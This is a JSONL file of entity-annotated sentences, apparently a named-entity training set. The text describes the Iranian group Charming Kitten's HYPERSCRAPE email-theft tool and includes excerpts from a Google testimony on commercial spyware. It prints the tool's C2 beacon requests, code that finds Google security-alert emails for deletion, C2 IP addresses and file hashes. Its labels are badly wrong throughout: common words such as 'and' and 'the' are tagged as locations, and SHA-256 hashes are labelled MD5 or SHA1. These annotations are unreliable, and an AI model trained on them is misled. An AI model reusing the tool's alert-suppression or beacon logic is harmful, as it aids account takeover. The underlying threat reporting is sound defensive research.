 {"id":8297,"text":"Files with the following hashes were used in the second series of attacks:  fb5b5906feab268f90789b15351b8a193fb5f445a3ae9afb1da8fb814ed80325 – detected as VBS_KEYLOG.NYKW 306f4f843c5a5a119a3385ad2b18c78a04fac618031ddecabf0633083a6c9a76 – detected as VBS_KEYLOG.NYKW 33709ca050fd0abc2aba38326996bf1c3b6d9b875228c9f15e624f9002c199a8 – detected as VBS_OBFUS.VUJ ff0f9057d3da7b3500f145ce24670c89a93cdb5cbe74946b17397fc466ddfbda – detected as VBS_AUTORUN.ASUHK 9b7cc8f4807df162f99f5fa592bc7cc5c6a756d9c0311c7b2529f19a0ac59c1a – archive file; contents detected as VBS_OBFUS.VUK 587e38fb11bd0c4021ce6965e92838521616ee4c5506ef0fa160452e9c71d5cf – detected as VBS_OBFUS.VUK         Tags  APT & Targeted Attacks | Malware | Research | Articles, News, Reports","entities":[{"id":25570,"label":"SHA2","start_offset":76,"end_offset":140},{"id":25571,"label":"SHA2","start_offset":171,"end_offset":235},{"id":25572,"label":"SHA1","start_offset":266,"end_offset":330},{"id":25573,"label":"MD5","start_offset":359,"end_offset":423},{"id":25574,"label":"SHA1","start_offset":456,"end_offset":520},{"id":25575,"label":"SHA1","start_offset":572,"end_offset":636},{"id":25576,"label":"location","start_offset":679,"end_offset":682}],"relations":[],"Comments":[]}
-{"id":8298,"text":"As part of TAG's mission to counter serious threats to Google and our users, we've analyzed a range of persistent threats including APT35 and Charming Kitten, an Iranian government-backed group that regularly targets high risk users.","entities":[{"id":25578,"label":"location","start_offset":17,"end_offset":24},{"id":25580,"label":"location","start_offset":62,"end_offset":65},{"id":25581,"label":"location","start_offset":94,"end_offset":99},{"id":25583,"label":"location","start_offset":138,"end_offset":141}],"relations":[],"Comments":[]}
-{"id":8299,"text":"For years, we have been countering this group’s efforts to hijack accounts, deploy malware, and their use of novel techniques to conduct espionage aligned with the interests of the Iranian government.","entities":[{"id":25587,"label":"location","start_offset":92,"end_offset":95}],"relations":[],"Comments":[]}
-{"id":8300,"text":"Now, we’re shining light on a new tool of theirs.","entities":[{"id":25589,"label":"location","start_offset":19,"end_offset":24},{"id":25590,"label":"location","start_offset":34,"end_offset":38}],"relations":[],"Comments":[]}
 {"id":8301,"text":"In December 2021, TAG discovered a novel Charming Kitten tool, named HYPERSCRAPE, used to steal user data from Gmail, Yahoo!, and Microsoft Outlook accounts.","entities":[{"id":25593,"label":"threat-actor","start_offset":41,"end_offset":56},{"id":25594,"label":"location","start_offset":57,"end_offset":61},{"id":25598,"label":"location","start_offset":126,"end_offset":129}],"relations":[],"Comments":[]}
 {"id":8302,"text":"The attacker runs HYPERSCRAPE on their own machine to download victims’ inboxes using previously acquired credentials.","entities":[],"relations":[],"Comments":[]}
 {"id":8303,"text":"We have seen it deployed against fewer than two dozen accounts located in Iran.","entities":[],"relations":[],"Comments":[]}
-{"id":8304,"text":"The oldest known sample is from 2020, and the tool is still under active development.","entities":[{"id":25604,"label":"location","start_offset":17,"end_offset":23},{"id":25606,"label":"location","start_offset":38,"end_offset":41},{"id":25607,"label":"location","start_offset":46,"end_offset":50}],"relations":[],"Comments":[]}
-{"id":8305,"text":"We have taken actions to re-secure these accounts and have notified the victims through our Government Backed Attacker Warnings.","entities":[{"id":25608,"label":"location","start_offset":50,"end_offset":53}],"relations":[],"Comments":[]}
-{"id":8306,"text":"This post will provide technical details about HYPERSCRAPE, similar to PWC’s recently published analysis on a Telegram grabber tool.","entities":[{"id":25609,"label":"location","start_offset":5,"end_offset":9},{"id":25610,"label":"location","start_offset":10,"end_offset":14},{"id":25614,"label":"location","start_offset":127,"end_offset":131}],"relations":[],"Comments":[]}
 {"id":8307,"text":"HYPERSCRAPE demonstrates Charming Kitten’s commitment to developing and maintaining purpose-built capabilities.","entities":[{"id":25616,"label":"threat-actor","start_offset":25,"end_offset":40},{"id":25617,"label":"location","start_offset":68,"end_offset":71}],"relations":[],"Comments":[]}
 {"id":8308,"text":"Like much of their tooling, HYPERSCRAPE is not notable for its technical sophistication, but rather its effectiveness in accomplishing Charming Kitten’s objectives.","entities":[{"id":25618,"label":"location","start_offset":5,"end_offset":9},{"id":25620,"label":"threat-actor","start_offset":135,"end_offset":150}],"relations":[],"Comments":[]}
 {"id":8309,"text":" HYPERSCRAPE requires the victim’s account credentials to run using a valid, authenticated user session the attacker has hijacked, or credentials the attacker has already acquired.","entities":[],"relations":[],"Comments":[]}
-{"id":8310,"text":"It spoofs the user agent to look like an outdated browser, which enables the basic HTML view in Gmail.","entities":[{"id":25622,"label":"location","start_offset":88,"end_offset":92}],"relations":[],"Comments":[]}
-{"id":8311,"text":"Once logged in, the tool changes the account’s language settings to English and iterates through the contents of the mailbox, individually downloading messages as .eml files and marking them unread.","entities":[{"id":25624,"label":"location","start_offset":20,"end_offset":24},{"id":25626,"label":"location","start_offset":76,"end_offset":79},{"id":25627,"label":"location","start_offset":174,"end_offset":177},{"id":25628,"label":"location","start_offset":186,"end_offset":190}],"relations":[],"Comments":[]}
-{"id":8312,"text":"After the program has finished downloading the inbox, it reverts the language back to its original settings and deletes any security emails from Google.","entities":[{"id":25629,"label":"location","start_offset":108,"end_offset":111},{"id":25630,"label":"location","start_offset":124,"end_offset":132}],"relations":[],"Comments":[]}
-{"id":8313,"text":"Earlier versions contained the option to request data from Google Takeout, a feature which allows users to export their data to a downloadable archive file.","entities":[{"id":25633,"label":"location","start_offset":107,"end_offset":113}],"relations":[],"Comments":[]}
-{"id":8314,"text":"The tool is written in .NET for Windows PCs and is designed to run on the attacker's machine.","entities":[{"id":25634,"label":"location","start_offset":4,"end_offset":8},{"id":25635,"label":"location","start_offset":44,"end_offset":47}],"relations":[],"Comments":[]}
-{"id":8315,"text":"We tested HYPERSCRAPE in a controlled environment with a test Gmail Account, although functionality may differ for Yahoo! and Microsoft accounts.","entities":[{"id":25638,"label":"location","start_offset":100,"end_offset":103},{"id":25641,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]}
 {"id":8316,"text":"HYPERSCRAPE won't run unless in a directory with other file dependencies.","entities":[],"relations":[],"Comments":[]}
-{"id":8317,"text":"When launched, the tool makes an HTTP GET request to a C2 to check for a response body of \"OK'' and will terminate if it's not found.","entities":[{"id":25644,"label":"location","start_offset":19,"end_offset":23},{"id":25645,"label":"location","start_offset":61,"end_offset":66},{"id":25646,"label":"location","start_offset":96,"end_offset":99},{"id":25647,"label":"location","start_offset":100,"end_offset":104}],"relations":[],"Comments":[]}
-{"id":8318,"text":"In the version tested, the C2 was unobfuscated and stored as a hardcoded string.","entities":[{"id":25648,"label":"location","start_offset":47,"end_offset":50}],"relations":[],"Comments":[]}
 {"id":8319,"text":"In later versions it was obfuscated with Base64.","entities":[],"relations":[],"Comments":[]}
 {"id":8320,"text":"GET http:\/\/{C2}\/Index.php?Ck=OK HTTP\/1.1","entities":[{"id":25649,"label":"URL","start_offset":4,"end_offset":28}],"relations":[],"Comments":[]}
-{"id":8321,"text":"Host: {C2}","entities":[{"id":25650,"label":"location","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
 {"id":8322,"text":"Accept-Encoding: gzip Connection: Keep-Alive","entities":[],"relations":[],"Comments":[]}
-{"id":8323,"text":"The tool accepts arguments from the command line such as the mode of operation, an identifier string, and a path string to a valid cookie file.","entities":[{"id":25651,"label":"location","start_offset":4,"end_offset":8},{"id":25652,"label":"location","start_offset":61,"end_offset":65},{"id":25653,"label":"location","start_offset":102,"end_offset":105}],"relations":[],"Comments":[]}
 {"id":8324,"text":"A new form is displayed if the information is not provided via command prompt.","entities":[],"relations":[],"Comments":[]}
-{"id":8325,"text":"Once provided, the data in the \"Identity\" field is sent to a C2 for confirmation.","entities":[{"id":25654,"label":"location","start_offset":42,"end_offset":47}],"relations":[],"Comments":[]}
 {"id":8326,"text":"Again, the response is expected to be \"OK\".","entities":[],"relations":[],"Comments":[]}
 {"id":8327,"text":"GET http:\/\/{C2}\/Index.php?vubc={identity} HTTP\/1.1","entities":[{"id":25655,"label":"URL","start_offset":4,"end_offset":40}],"relations":[],"Comments":[]}
-{"id":8328,"text":"Host: {C2} Accept-Encoding: gzip","entities":[{"id":25656,"label":"location","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
-{"id":8329,"text":"If the cookie file path was not supplied via the command line, a new form will allow the operator to do so using drag and drop.","entities":[{"id":25657,"label":"location","start_offset":74,"end_offset":78},{"id":25658,"label":"location","start_offset":118,"end_offset":121}],"relations":[],"Comments":[]}
-{"id":8330,"text":"After parsing, the cookies are inserted into a local cache used by the embedded web browser.","entities":[{"id":25659,"label":"location","start_offset":27,"end_offset":30},{"id":25660,"label":"location","start_offset":53,"end_offset":58}],"relations":[],"Comments":[]}
 {"id":8331,"text":"A new folder named \"Download\" is created adjacent to the main binary.","entities":[],"relations":[],"Comments":[]}
 {"id":8332,"text":"The browser then navigates to Gmail to begin the data collection.","entities":[],"relations":[],"Comments":[]}
-{"id":8333,"text":"The user agent is spoofed so it appears like an outdated browser, which results in an error message and allows the attacker to enable the basic HTML view in Gmail.","entities":[{"id":25662,"label":"location","start_offset":100,"end_offset":103},{"id":25663,"label":"location","start_offset":149,"end_offset":153}],"relations":[],"Comments":[]}
 {"id":8334,"text":"If the cookies failed to provide access to the account, a login page is displayed and the attacker can manually enter credentials to proceed, as the program will wait until it finds the inbox page.","entities":[{"id":25665,"label":"malware","start_offset":64,"end_offset":68},{"id":25666,"label":"location","start_offset":82,"end_offset":85},{"id":25667,"label":"location","start_offset":99,"end_offset":102},{"id":25668,"label":"location","start_offset":112,"end_offset":117},{"id":25669,"label":"location","start_offset":157,"end_offset":161},{"id":25670,"label":"location","start_offset":192,"end_offset":196}],"relations":[],"Comments":[]}
 {"id":8335,"text":"Once the attacker has logged in to the victim’s account, HYPERSCRAPE checks to see if the language is set to English, changing it if not.","entities":[],"relations":[],"Comments":[]}
 {"id":8336,"text":"The language is returned to its original setting when the run is finished.","entities":[],"relations":[],"Comments":[]}
 {"id":8337,"text":"HYPERSCRAPE then begins iterating through all available tabs in the inbox looking for emails to download.","entities":[],"relations":[],"Comments":[]}
-{"id":8338,"text":"It does the following for each email found: The emails are saved with \".eml\" extensions under the Downloads directory with the filename corresponding to the subject.","entities":[{"id":25674,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]}
 {"id":8339,"text":"A log file is written containing a count of the emails that were downloaded.","entities":[],"relations":[],"Comments":[]}
-{"id":8340,"text":"When finished, a HTTP POST request is made to the C2 to relay the status and system information.","entities":[{"id":25675,"label":"location","start_offset":22,"end_offset":26},{"id":25676,"label":"location","start_offset":38,"end_offset":42},{"id":25677,"label":"location","start_offset":73,"end_offset":76}],"relations":[],"Comments":[]}
-{"id":8341,"text":"The downloaded emails are not sent to the C2.","entities":[{"id":25678,"label":"location","start_offset":22,"end_offset":25}],"relations":[],"Comments":[]}
 {"id":8342,"text":"POST http:\/\/{C2}\/?Key={GUID}&Crc={Identifier} { \"appName\": \"Gmail Downloader\", \"targetname\": \"{Email}\", \"HostName\": \"REDACTED\", \"srcUserIP\": \"REDACTED\", \"actionType\": \"First\", \"timeOccurrence\": \"05\/01\/2022 05:50:31 PM\", \"OS\": \"REDACTED\", \"OSVersion\": \"REDACTED\", \"SystemModel\": \"REDACTED\", \"SystemType\": \"REDACTED\", \"srcName\": \"REDACTED\", \"srcOrgName\": \"REDACTED\" }","entities":[{"id":25679,"label":"location","start_offset":0,"end_offset":4},{"id":25680,"label":"URL","start_offset":5,"end_offset":44},{"id":25682,"label":"TIME","start_offset":206,"end_offset":217}],"relations":[],"Comments":[]}
-{"id":8343,"text":"The program will delete any security emails from Google generated by the attacker’s activity.","entities":[{"id":25683,"label":"location","start_offset":12,"end_offset":16},{"id":25684,"label":"location","start_offset":28,"end_offset":36}],"relations":[],"Comments":[]}
-{"id":8344,"text":"private bool IsThereAnyEMail() { List < GeckoHtmlElement > list = (from x in this.geckoWebBrowser.Document.GetElementsByTagName(\"span\") where x.TextContent.StartsWith (\"Security alert\") || x.TextContent.StartsWith(\"Archive of Google data requested\") || x.TextContent.StartsWith(\"Your Google data archive is ready\") || x.TextContent.StartsWith(\"Your Google data is ready\") || x.TextContent.StartsWith(\"Critical security alert\") ||","entities":[{"id":25686,"label":"location","start_offset":33,"end_offset":37},{"id":25687,"label":"location","start_offset":59,"end_offset":63},{"id":25688,"label":"location","start_offset":169,"end_offset":177},{"id":25689,"label":"location","start_offset":178,"end_offset":183},{"id":25693,"label":"location","start_offset":410,"end_offset":418},{"id":25694,"label":"location","start_offset":419,"end_offset":424}],"relations":[],"Comments":[]}
 {"id":8345,"text":"x.TextContent.StartsWith(\"Access for less secure apps has been turned on\") ||","entities":[],"relations":[],"Comments":[]}
 {"id":8346,"text":"x.TextContent.StartsWith(\"Review blocked sign-in attempt\") || x.TextContent.","entities":[],"relations":[],"Comments":[]}
-{"id":8347,"text":"StartsWith(\"Help us protect you: Security advice from Google\")","entities":[{"id":25695,"label":"location","start_offset":33,"end_offset":41}],"relations":[],"Comments":[]}
 {"id":8348,"text":"x.TextContent.StartsWith(\"Access for less secure apps has been turned on\") select x).ToList","entities":[],"relations":[],"Comments":[]}
 {"id":8349,"text":"GeckoHtmlElement > (","entities":[],"relations":[],"Comments":[]}
-{"id":8350,"text":"; bool flag = list.Count == 0; return !flag; }","entities":[{"id":25696,"label":"location","start_offset":7,"end_offset":11},{"id":25697,"label":"location","start_offset":14,"end_offset":18},{"id":25698,"label":"location","start_offset":39,"end_offset":43}],"relations":[],"Comments":[]}
-{"id":8351,"text":"Data from Google Takeout is also available upon request, but the option was only found in early builds.","entities":[{"id":25699,"label":"location","start_offset":76,"end_offset":80},{"id":25700,"label":"location","start_offset":90,"end_offset":95}],"relations":[],"Comments":[]}
-{"id":8352,"text":"The functionality was not automated and it's unclear why it was removed in later versions.","entities":[{"id":25701,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]}
-{"id":8353,"text":"When conducting a Takeout, the program will spawn a new copy of itself and initialize a pipe communication channel to relay the cookies and account name, both of which are required to accomplish the Takeout.","entities":[{"id":25702,"label":"location","start_offset":39,"end_offset":43},{"id":25703,"label":"location","start_offset":71,"end_offset":74},{"id":25704,"label":"location","start_offset":136,"end_offset":139},{"id":25705,"label":"location","start_offset":168,"end_offset":171}],"relations":[],"Comments":[]}
-{"id":8354,"text":"When they are received, the browser navigates to the official Takeout link to request and eventually download the exported data.","entities":[{"id":25706,"label":"location","start_offset":10,"end_offset":13},{"id":25707,"label":"location","start_offset":86,"end_offset":89}],"relations":[],"Comments":[]}
 {"id":8355,"text":"public void ManageTakeOut() { string text = \"PipeName\";","entities":[{"id":25708,"label":"location","start_offset":0,"end_offset":6},{"id":25709,"label":"malware","start_offset":7,"end_offset":11}],"relations":[],"Comments":[]}
-{"id":8356,"text":"Process process = new Process(); process.StartInfo.Arguments = string.Format(\"PIPE Google \\\"{0}\\\"\", text); process.StartInfo.FileName = Process.GetCurrentProcess().MainModule.FileName; process.Start();","entities":[{"id":25710,"label":"location","start_offset":193,"end_offset":198}],"relations":[],"Comments":[]}
-{"id":8357,"text":"PipeCommunication pipeCommunication = new PipeCommunication(true, text); bool flag = false; while (!flag)","entities":[{"id":25711,"label":"location","start_offset":78,"end_offset":82},{"id":25712,"label":"location","start_offset":100,"end_offset":104}],"relations":[],"Comments":[]}
-{"id":8358,"text":"{ try { JsonInfo jsonInfo = pipeCommunication.Read(); switch (jsonInfo.Type) { case JsonType.GetCookies: jsonInfo.Data = this.CookieText; pipeCommunication.Write(jsonInfo); break; case JsonType.TakeOutFile: flag = true; break; case JsonType.GetUsername: while (this.OperationObject.GetUsername() == null) { Thread.Sleep(1000); }","entities":[{"id":25713,"label":"location","start_offset":71,"end_offset":75},{"id":25714,"label":"location","start_offset":79,"end_offset":83},{"id":25715,"label":"location","start_offset":180,"end_offset":184},{"id":25716,"label":"location","start_offset":207,"end_offset":211},{"id":25717,"label":"location","start_offset":214,"end_offset":218},{"id":25718,"label":"location","start_offset":227,"end_offset":231}],"relations":[],"Comments":[]}
 {"id":8359,"text":"jsonInfo.Data = this.OperationObject.GetUsername(); pipeCommunication.Write(jsonInfo); break; } }","entities":[],"relations":[],"Comments":[]}
-{"id":8360,"text":"catch (Exception) { bool hasExited = process.HasExited; if (hasExited) { flag = true; } }","entities":[{"id":25719,"label":"location","start_offset":73,"end_offset":77},{"id":25720,"label":"location","start_offset":80,"end_offset":84}],"relations":[],"Comments":[]}
 {"id":8361,"text":"pipeCommunication.Close(); }","entities":[],"relations":[],"Comments":[]}
-{"id":8362,"text":"TAG is committed to sharing research to raise awareness on bad actors like Charming Kitten within the security community, and for companies and individuals that may be targeted.","entities":[{"id":25722,"label":"location","start_offset":102,"end_offset":110},{"id":25723,"label":"location","start_offset":111,"end_offset":120},{"id":25724,"label":"location","start_offset":122,"end_offset":125},{"id":25725,"label":"location","start_offset":140,"end_offset":143},{"id":25726,"label":"location","start_offset":161,"end_offset":164}],"relations":[],"Comments":[]}
-{"id":8363,"text":"It’s why we do things like work with our CyberCrime Investigation Group to share critical information relevant to law enforcement.","entities":[{"id":25728,"label":"location","start_offset":114,"end_offset":117}],"relations":[],"Comments":[]}
-{"id":8364,"text":"We hope doing so will improve understanding of tactics and techniques that will enhance threat hunting capabilities and lead to stronger protections across the industry.","entities":[{"id":25729,"label":"location","start_offset":3,"end_offset":7},{"id":25730,"label":"location","start_offset":17,"end_offset":21},{"id":25731,"label":"location","start_offset":55,"end_offset":58},{"id":25732,"label":"location","start_offset":75,"end_offset":79},{"id":25733,"label":"location","start_offset":95,"end_offset":102},{"id":25734,"label":"location","start_offset":116,"end_offset":119},{"id":25735,"label":"location","start_offset":120,"end_offset":124},{"id":25736,"label":"location","start_offset":160,"end_offset":168}],"relations":[],"Comments":[]}
 {"id":8365,"text":"We’ll also continue to apply those findings internally to improve the safety and security of our products so we can effectively combat threats and protect users who rely on our services.","entities":[{"id":25737,"label":"tools","start_offset":70,"end_offset":76},{"id":25738,"label":"location","start_offset":77,"end_offset":80},{"id":25739,"label":"location","start_offset":81,"end_offset":89},{"id":25740,"label":"location","start_offset":112,"end_offset":115},{"id":25741,"label":"location","start_offset":143,"end_offset":146}],"relations":[],"Comments":[]}
-{"id":8366,"text":"In the meantime, we encourage high risk users to enroll in our Advanced Protection Program (APP) and utilize Google Account Level Enhanced Safe Browsing to ensure they have the greatest level of protection in the face of ongoing threats.","entities":[{"id":25742,"label":"location","start_offset":72,"end_offset":82},{"id":25743,"label":"location","start_offset":97,"end_offset":100},{"id":25744,"label":"location","start_offset":139,"end_offset":143},{"id":25745,"label":"location","start_offset":195,"end_offset":205}],"relations":[],"Comments":[]}
 {"id":8367,"text":"C2s 136.243.108.14 173.209.51.54 HYPERSCRAPE binaries","entities":[{"id":25746,"label":"IPV4","start_offset":4,"end_offset":18},{"id":25747,"label":"IPV4","start_offset":19,"end_offset":32}],"relations":[],"Comments":[]}
 {"id":8368,"text":"03d0e7ad4c12273a42e4c95d854408b98b0cf5ecf5f8c5ce05b24729b6f4e369 35a485972282b7e0e8e3a7a9cbf86ad93856378fd96cc8e230be5099c4b89208 5afc59cd2b39f988733eba427c8cf6e48bd2e9dc3d48a4db550655efe0dca798 6dc0600de00ba6574488472d5c48aa2a7b23a74ff1378d8aee6a93ea0ee7364f 767bd025c8e7d36f64dbd636ce0f29e873d1e3ca415d5ad49053a68918fe89f4 977f0053690684eb509da27d5eec2a560311c084a4a133191ef387e110e8b85f ac8e59e8abeacf0885b451833726be3e8e2d9c88d21f27b16ebe00f00c1409e6 cd2ba296828660ecd07a36e8931b851dda0802069ed926b3161745aae9aa6daa Microsoft Live DLL 1a831a79a932edd0398f46336712eff90ebb5164a189ef38c4dacc64ba84fe23 PDB E:\\Working\\Projects\\EmailDownloader\\EmailDownloaderCookieMode\\EmailDownloader\\obj\\Debug\\EmailDownloader.pdb E:\\Working\\Projects\\EmailDownloader\\EmailDownloaderCookieMode\\Mahdi\\LiveLib\\obj\\Release\\LiveLib.pdb","entities":[{"id":25748,"label":"SHA2","start_offset":0,"end_offset":64},{"id":25749,"label":"SHA1","start_offset":65,"end_offset":129},{"id":25750,"label":"SHA1","start_offset":130,"end_offset":194},{"id":25751,"label":"MD5","start_offset":195,"end_offset":259},{"id":25752,"label":"SHA2","start_offset":260,"end_offset":324},{"id":25753,"label":"SHA2","start_offset":325,"end_offset":389},{"id":25754,"label":"SHA2","start_offset":390,"end_offset":454},{"id":25755,"label":"SHA2","start_offset":455,"end_offset":519},{"id":25756,"label":"identity","start_offset":520,"end_offset":529},{"id":25757,"label":"MD5","start_offset":539,"end_offset":603}],"relations":[],"Comments":[]}
 {"id":8369,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q2 2022.","entities":[],"relations":[],"Comments":[]}
 {"id":8370,"text":"It was last updated on July 29, 2022.","entities":[],"relations":[],"Comments":[]}
-{"id":8371,"text":" The following testimony was delivered to the U.S. House Intelligence Committee by Shane Huntley, Senior Director of Google’s Threat Analysis Group (TAG) on July 27, 2022.  Chairman Schiff, Ranking Member Turner, and esteemed Members of the Committee: Thank you for the opportunity to appear before the Committee to discuss Google’s efforts to protect users from commercial spyware.","entities":[{"id":25765,"label":"location","start_offset":213,"end_offset":216},{"id":25766,"label":"location","start_offset":270,"end_offset":281}],"relations":[],"Comments":[]}
-{"id":8372,"text":"We appreciate the Committee’s efforts to raise awareness about the commercial spyware industry that is thriving and growing, creating risks to Americans and Internet users across the globe.","entities":[{"id":25770,"label":"location","start_offset":86,"end_offset":94},{"id":25771,"label":"location","start_offset":112,"end_offset":115},{"id":25773,"label":"location","start_offset":153,"end_offset":156},{"id":25774,"label":"location","start_offset":183,"end_offset":188}],"relations":[],"Comments":[]}
-{"id":8373,"text":" Google has been tracking the activities of commercial spyware vendors for years, and we have been taking critical steps to protect our users.","entities":[{"id":25777,"label":"location","start_offset":82,"end_offset":85}],"relations":[],"Comments":[]}
-{"id":8374,"text":"We take the security of our users very seriously, and we have dedicated teams in place to protect against attacks from a wide range of sources.","entities":[{"id":25778,"label":"location","start_offset":12,"end_offset":20},{"id":25779,"label":"location","start_offset":50,"end_offset":53},{"id":25780,"label":"location","start_offset":126,"end_offset":131}],"relations":[],"Comments":[]}
-{"id":8375,"text":"Our Threat Analysis Group, or TAG, is dedicated to protecting users from threats posed by state-sponsored malware attacks and other advanced persistent threats.","entities":[{"id":25783,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]}
-{"id":8376,"text":"TAG actively monitors threat actors and the evolution of their tactics and techniques.","entities":[{"id":25785,"label":"location","start_offset":36,"end_offset":39},{"id":25786,"label":"location","start_offset":71,"end_offset":74}],"relations":[],"Comments":[]}
-{"id":8377,"text":"For example, TAG has been closely tracking and disrupting campaigns targeting individuals and organizations in Ukraine, and frequently publishes reports on Russian threat actors.","entities":[{"id":25787,"label":"location","start_offset":43,"end_offset":46},{"id":25788,"label":"location","start_offset":90,"end_offset":93},{"id":25790,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]}
 {"id":8378,"text":"We use our research to continuously improve the safety and security of our products and share this intelligence with our industry peers.","entities":[{"id":25792,"label":"tools","start_offset":48,"end_offset":54},{"id":25793,"label":"location","start_offset":55,"end_offset":58},{"id":25794,"label":"location","start_offset":59,"end_offset":67},{"id":25795,"label":"location","start_offset":84,"end_offset":87},{"id":25796,"label":"location","start_offset":121,"end_offset":129}],"relations":[],"Comments":[]}
-{"id":8379,"text":"We also publicly release information about the operations we disrupt, which is available to our government partners and the general public.","entities":[{"id":25797,"label":"location","start_offset":116,"end_offset":119},{"id":25798,"label":"location","start_offset":132,"end_offset":138}],"relations":[],"Comments":[]}
-{"id":8380,"text":"TAG tracks and proactively counters serious state-sponsored and financially motivated information cyber criminal activities, such as hacking and the use of spyware.","entities":[{"id":25800,"label":"location","start_offset":11,"end_offset":14},{"id":25801,"label":"location","start_offset":60,"end_offset":63},{"id":25802,"label":"location","start_offset":141,"end_offset":144}],"relations":[],"Comments":[]}
 {"id":8381,"text":"And we don’t just plug security holes – we work to eliminate entire classes of threats for consumers and businesses whose work depends on the Internet.","entities":[{"id":25803,"label":"location","start_offset":0,"end_offset":3},{"id":25804,"label":"identity","start_offset":13,"end_offset":17},{"id":25805,"label":"location","start_offset":23,"end_offset":31},{"id":25806,"label":"location","start_offset":101,"end_offset":104}],"relations":[],"Comments":[]}
-{"id":8382,"text":"We are joined in this effort by many other security teams at Google, including Project Zero, our team of security researchers at Google who study zero-day vulnerabilities in the hardware and software systems that are depended upon by users around the world.","entities":[{"id":25807,"label":"location","start_offset":3,"end_offset":6},{"id":25808,"label":"location","start_offset":22,"end_offset":28},{"id":25809,"label":"location","start_offset":32,"end_offset":36},{"id":25810,"label":"location","start_offset":43,"end_offset":51},{"id":25813,"label":"location","start_offset":105,"end_offset":113},{"id":25816,"label":"location","start_offset":187,"end_offset":190},{"id":25817,"label":"location","start_offset":213,"end_offset":216},{"id":25818,"label":"location","start_offset":251,"end_offset":256}],"relations":[],"Comments":[]}
-{"id":8383,"text":" Google has a long track record combating commercial surveillance tools targeting our users.","entities":[{"id":25820,"label":"location","start_offset":14,"end_offset":18}],"relations":[],"Comments":[]}
-{"id":8384,"text":"In 2017, Android – which is owned by Google – was the first mobile platform to warn users about NSO Group’s Pegasus spyware.","entities":[{"id":25824,"label":"location","start_offset":60,"end_offset":66}],"relations":[],"Comments":[]}
-{"id":8385,"text":"At the time, our Android team released research about a newly discovered family of spyware related to Pegasus that was used in a targeted attack on a small number of Android devices.","entities":[{"id":25827,"label":"location","start_offset":7,"end_offset":11},{"id":25829,"label":"location","start_offset":150,"end_offset":155}],"relations":[],"Comments":[]}
 {"id":8386,"text":"We observed fewer than three dozen installs of this spyware.","entities":[],"relations":[],"Comments":[]}
-{"id":8387,"text":"We remediated the compromises for these users and implemented controls to protect all Android users.","entities":[{"id":25831,"label":"location","start_offset":46,"end_offset":49}],"relations":[],"Comments":[]}
 {"id":8388,"text":"NSO Group continues to pose risks across the Internet ecosystem.","entities":[],"relations":[],"Comments":[]}
 {"id":8389,"text":"In 2019, we confronted the risks posed by NSO Group again, relying upon NSO Groups’s marketing information suggesting that they had a 0-day exploit for Android.","entities":[],"relations":[],"Comments":[]}
-{"id":8390,"text":"Google was able to identify the vulnerability in use and fix the exploit quickly.","entities":[{"id":25839,"label":"location","start_offset":53,"end_offset":56}],"relations":[],"Comments":[]}
 {"id":8391,"text":"In December 2021, we released research about novel techniques used by NSO Group to compromise iMessage users.","entities":[],"relations":[],"Comments":[]}
-{"id":8392,"text":"iPhone users could be compromised by receiving a malicious iMessage text, without ever needing to click a malicious link.","entities":[{"id":25843,"label":"location","start_offset":82,"end_offset":86}],"relations":[],"Comments":[]}
-{"id":8393,"text":"Short of not using a device, there is no way to prevent exploitation by a zero-click exploit; it's a weapon against which there is no defense.","entities":[{"id":25844,"label":"location","start_offset":0,"end_offset":5},{"id":25845,"label":"location","start_offset":41,"end_offset":44}],"relations":[],"Comments":[]}
-{"id":8394,"text":"Based on our research and findings, we assessed this to be one of the most technically sophisticated exploits we had ever seen, further demonstrating that the capabilities NSO provides rival those previously thought to be accessible to only a handful of nation states.","entities":[{"id":25847,"label":"location","start_offset":22,"end_offset":25},{"id":25848,"label":"location","start_offset":59,"end_offset":62},{"id":25849,"label":"location","start_offset":70,"end_offset":74},{"id":25850,"label":"location","start_offset":117,"end_offset":121},{"id":25852,"label":"location","start_offset":236,"end_offset":240}],"relations":[],"Comments":[]}
-{"id":8395,"text":"Although this Committee must be concerned with the exploits of NSO Group, it is not the only entity posing risks to our users.","entities":[{"id":25855,"label":"location","start_offset":88,"end_offset":92}],"relations":[],"Comments":[]}
-{"id":8396,"text":"For example, TAG discovered campaigns targeting Armenian users which utilized zero-day vulnerabilities in Chrome and Internet Explorer.","entities":[{"id":25860,"label":"location","start_offset":113,"end_offset":116}],"relations":[],"Comments":[]}
-{"id":8397,"text":"We assessed that a surveillance vendor packaged and sold these technologies.","entities":[{"id":25862,"label":"location","start_offset":32,"end_offset":38},{"id":25863,"label":"location","start_offset":48,"end_offset":51}],"relations":[],"Comments":[]}
-{"id":8398,"text":"Reporting by CitizenLab linked this activity to Candiru, an Israeli spyware vendor.","entities":[{"id":25867,"label":"location","start_offset":76,"end_offset":82}],"relations":[],"Comments":[]}
-{"id":8399,"text":"Other reporting from Microsoft has linked this spyware to the compromise of dozens of victims, including political dissidents, human rights activists, journalists, and academics.","entities":[{"id":25870,"label":"location","start_offset":164,"end_offset":167}],"relations":[],"Comments":[]}
-{"id":8400,"text":"Most recently, we reported in May on five zero-day vulnerabilities affecting Chrome and Android which were used to compromise Android users.","entities":[{"id":25871,"label":"location","start_offset":0,"end_offset":4},{"id":25875,"label":"location","start_offset":84,"end_offset":87}],"relations":[],"Comments":[]}
-{"id":8401,"text":"We assess with high confidence that commercial surveillance company Cytrox packaged these vulnerabilities, and sold the hacking software to at least eight governments.","entities":[{"id":25876,"label":"location","start_offset":20,"end_offset":30},{"id":25878,"label":"location","start_offset":107,"end_offset":110}],"relations":[],"Comments":[]}
-{"id":8402,"text":"Among other targets, this spyware was used to compromise journalists and opposition politicians.","entities":[{"id":25880,"label":"location","start_offset":69,"end_offset":72}],"relations":[],"Comments":[]}
-{"id":8403,"text":"Our reporting is consistent with earlier analysis produced by CitizenLab and Meta.","entities":[{"id":25882,"label":"location","start_offset":73,"end_offset":76}],"relations":[],"Comments":[]}
